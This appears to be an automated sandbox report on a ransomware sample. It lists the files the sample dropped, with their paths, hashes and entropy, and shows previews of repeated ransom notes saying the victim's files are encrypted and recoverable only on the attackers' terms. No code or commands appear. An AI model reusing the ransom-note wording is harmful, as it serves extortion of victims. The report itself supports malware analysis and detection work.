                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\AccountPictures\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Desktop\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Desktop\Acrobat Reader DC.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2352
                                                                                Entropy (8bit):7.91402193356667
                                                                                Encrypted:false
                                                                                SSDEEP:48:dTURbcW3IK5pTKzkLdv6FCrzosDPaTykdpEtEYTfu/Aa:dg9Y8p5dSF9EPWdiEguYa
                                                                                MD5:0F384E432110B1FA417B558EEA6EA184
                                                                                SHA1:9254483EE3CFAE2A244DACA1C1B77908F96F50EE
                                                                                SHA-256:873AE71F077851A6D66761A1517F9FCEC86DAF8B989AD9FEAC6C74D6833A422B
                                                                                SHA-512:C237A9BB3913C2C973B2566781DA1E5603B66E1E9F224FA98CC62BD29E4CAE3A8E9713E26D10AC23CB1BEA532D4310B3AADAAA5174CB5BB880D37C06A1403CD3
                                                                                Malicious:false
                                                                                Preview: .1,e...be..x]........V.B...5{..8Pp.q.[zU.......*w..>8.}Q:.k..g..yL.i./...|.....5.=u.J.]3... .M.T%1...$..Yz..A.....R.K0.b?.<.2d..1.z.....h..$....b..CVa...v.-.(....`6m..J.".....~I`|w.:C.c..... .R.Lx. ...Jo...L.Os............B..,.xY.t/....N.J(J...:C.[.6`K.*..{S.r?;.....8..[.A.|.v.x.~..O..TN..8g..#.kM.@q...S.?..".."..hv..".'~.....NSa.!.M.J....o..v9.[...F.<.D.....=......P.1s...W..P..(.n..H9.a..P.,I...ELz........@..\....A...de..p.0..."....`...u.c.$..%6A.W..X=..<....6t.z....`..h.pc.r..s.v.......@.....N...s....K...>..,............,..s....ot_.'..9...JG.q.$Y8.?J]).k...5g..w..b.8.N...o..7....x..<.1oCw]...U.l...x.=.....8...b..T.8..}.."1.....f.>.N....g.......A..n.....jaz...T............/Y|...E.:..=iX`u.0;.=..=.%]..7..|Y\.f).".. w| ......=h....|.-(Q....Q.6....!.....b...o<...S.5.|..~..[.h.......(. [....7.P^I...\YKW=+..JU.g.m'.&.;.5....D..z-..*...0Y..3.....;......fI../....>..>...`...3+...oM>.K.2gs5h.}..M.....Hl?.4h.........m.....l{.8..7X.+ ..
                                                                                C:\Users\Public\Desktop\Google Chrome.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2328
                                                                                Entropy (8bit):7.919954331743618
                                                                                Encrypted:false
                                                                                SSDEEP:48:ahvNvK1Y1n9uiIUTnLPc2dOq9q952GrLpBK004ejTfu/A9:8vhKYuizTLPc28q902GHpP04e3uY9
                                                                                MD5:2B23A0A70009EA0F862C1E8D533F2D21
                                                                                SHA1:02B7E418AF07AD36B6D3D1132738D8C0D6C17CAD
                                                                                SHA-256:BB136E397E359A2E23C58411F203A63FC9F150E38440FADC11BFEA964358C8C6
                                                                                SHA-512:907F3823FE5F690235F396E654F30BBFD7328C712B12F3F4943F5CBE6AD9EFFB35C5EC0E0B6229B8877E90554E54A205D095A3377B67AAAA88F6E4241E76692B
                                                                                Malicious:false
                                                                                Preview: .E.r._u.D...._..._5A.7Z.~..../3(z.{...H..'#A..^w....{&.1..).;...`..G.=.b.a..)+.....n<1...=.b../.ni..c...<.D...:6..d.2......o..s7 .O..i...............q..."..~...i...E..>E1..[..r.B.,3..eq<C!..\....@\..<t1w ...c..j...g[.QG..%.....F...E.....@..&e.G..tZ.....E....]k.J.>`.V`.:.<...>.:....Y.D.Np..#.2..@.8....^....O...._..=(.Oc..j..D........`.j.L..}nl.......p(/...?{...jH=......t.8l.X....G^.e..bj..r....!/..e..n.Xp.p5......a.G#d...j..um..1..I.....q.....t...{.t.c .l...=._.ra.m...fC...5....8.....x....E.]...~B....n~..@....Z.....)..U.J.-..Q...Q..a..!.....8i.4.g..s5..|JQ.i.H..".....X............[...%]...7.{.X.6.Ozk..V.kZ.r9.vE:.O..Z.p..,.[ ......B...n...W....;.J..;.iu.Ks..N......\ky.~.p.G8..T...Aq...._.....u9<gt...S.h,m?.f......g.F..qg.U.V..~h..$<..d....V.s.....N-N.@..u...}.=...U...\w..Z..23s^....C...W..lE.H...9.8.&.?.D.T...X,.<...{QZ...x.;.P.......7.....Y>.kj.)nVb..U.]%....O.D...]t`7.A.....hJ'.o.E.G)Km......I ..I...*I......T.{la.N./.K:q.)..
                                                                                C:\Users\Public\Documents\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Downloads\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Libraries\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Libraries\RecordedTV.library-ms
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1227
                                                                                Entropy (8bit):7.860311896620665
                                                                                Encrypted:false
                                                                                SSDEEP:24:YPCF49+uuY6hoKwdegpg0p7Ha+t8sciH7UCMct+VfzXE2YrTfu/A2dPpX:YqF4nuz+TpgliH7xMVfrnKTfu/A2LX
                                                                                MD5:ED45A01FD872EF1F2C42E06636B7B88B
                                                                                SHA1:E737E30334F362B98BBFF45B8E6D382E7C7EE504
                                                                                SHA-256:D6CFA4FC829707A7A935A48D6E93DD7BEBE2086AA4DBD2E571573BA2A47B204A
                                                                                SHA-512:0E3CC55CBCCBE4401870BE37005FFAE211B7483298906F0A1ACE2BD4A4F307280654FDD9AF55ACEE08BF53AA6409151A6A02493C7708643661CDCED59D6DACCF
                                                                                Malicious:false
                                                                                Preview: ..*.....z.'...../.,2.b`.N..*L.`N*.Z..#.......WV7.Y#jQs8..."......./....:...@...5w...`....K.g...n\..n.s..~U.==..d~$...2.J;]!..b..'sg....`.4.....$...St.#.......NKh.P.X..V.O..x..Bg...X1.'5..\S&.Wu...!q.^..V.pO..O.F..5...)R.M....X.&..,.f.u.[..>.:E.x.JB.. 1sjs..A.J.:..P"...h.\.6(.....O...l.E.+.Ui0.....o....$.....}.)~@..l..Q.U.Q...*..8.bPTI.....".+1.x...c..0X....(.X.......T..n.e[.-...K..P........./.....v....H..BM..#[4.L.......1..:..^..@..P.'..j..g8.eF.,../c..z.Vn.T]C..$...m.....5.,{G...#....#.x...)w<d.1..x.6`,....Z.L...XX.)z[..n..=.g.....E1.H];..C.qh....8.....>...[6-.T3WV..$.r.,D..N...CN..q..,8.F ...[...f.^...e.....T,o.,.lpW.}...+...8..Y(h..hh.I.U&..E..._.|..As........f...*\4..AO@..A...A.R..5.....E.... SG.9o.ZU...r.s...1.c....]+..o.ye.j........M..;}.......?...wz....+!..t*....m.....:...&....n^YK-0............N..N.!c..Q....3[.v.}..{.\[Hf..D.V...Y....1,s.o..D.Z..f#.h.....sM&.n..)O..rk..5.../ue..t..G.w)..d.......4.C.@o-|...[.r..xrD...T.k...*.-i.F..$7.
                                                                                C:\Users\Public\Music\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Pictures\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
